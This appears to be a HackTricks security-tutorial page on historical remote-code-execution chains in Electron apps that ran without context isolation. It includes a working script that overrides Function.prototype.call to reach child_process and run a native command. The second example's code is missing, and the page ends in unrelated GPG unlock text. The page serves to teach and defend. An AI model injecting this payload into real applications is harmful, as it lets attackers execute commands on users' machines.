// HackTricks · Network Services

Electron context-isolation RCE via internal code

Electron context-isolation RCE via internal code

These are historical exploitation patterns for Electron applications that ran untrusted renderer content without context isolation. Context isolation has been enabled by default since Electron 12 and remains a recommended security setting.[1] Exact internals differ by Electron and Node.js version, so reproduce a chain against the target application’s bundled versions.

Example 1: overriding Function.prototype.call

This example comes from Masato Kinugawa’s CureCon presentation.[2]

In the affected historical Electron build, internal ASAR code registered a process exit listener. Because page code and Electron’s internal code shared JavaScript prototypes when context isolation was disabled, renderer code could replace Function.prototype.call before the internal listener ran.[2][3]

process.on("exit", function () {
  for (let p in cachedArchives) {
    if (!hasProp.call(cachedArchives, p)) continue
    cachedArchives[p].destroy()
  }
})

Electron asar.js internal code path used in the contextIsolation RCE example

The listener was dispatched through Node.js’s event machinery. The original page linked a stale bin/events.js path; the same historical commit’s live source is under lib/events.js.[5]

Node events.js code path reached by the Electron contextIsolation RCE chain

In this path, self is Node.js’s process object:

Electron contextIsolation RCE via Electron internal code - Example 1: Where "self" is Node's process object

The historical process object exposed a path to require:

process.mainModule.require

Because the listener dispatcher invoked the handler with the process object, overriding call could recover that object and execute a native command:

<script>
  Function.prototype.call = function (process) {
    process.mainModule.require("child_process").execSync("calc")
  }
  location.reload() // Trigger the listener during navigation
</script>

Example 2: prototype pollution

The ElectroVolt presentation demonstrates another historical chain that obtains a require object through prototype pollution.[4]

Leak:

Exploit:

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.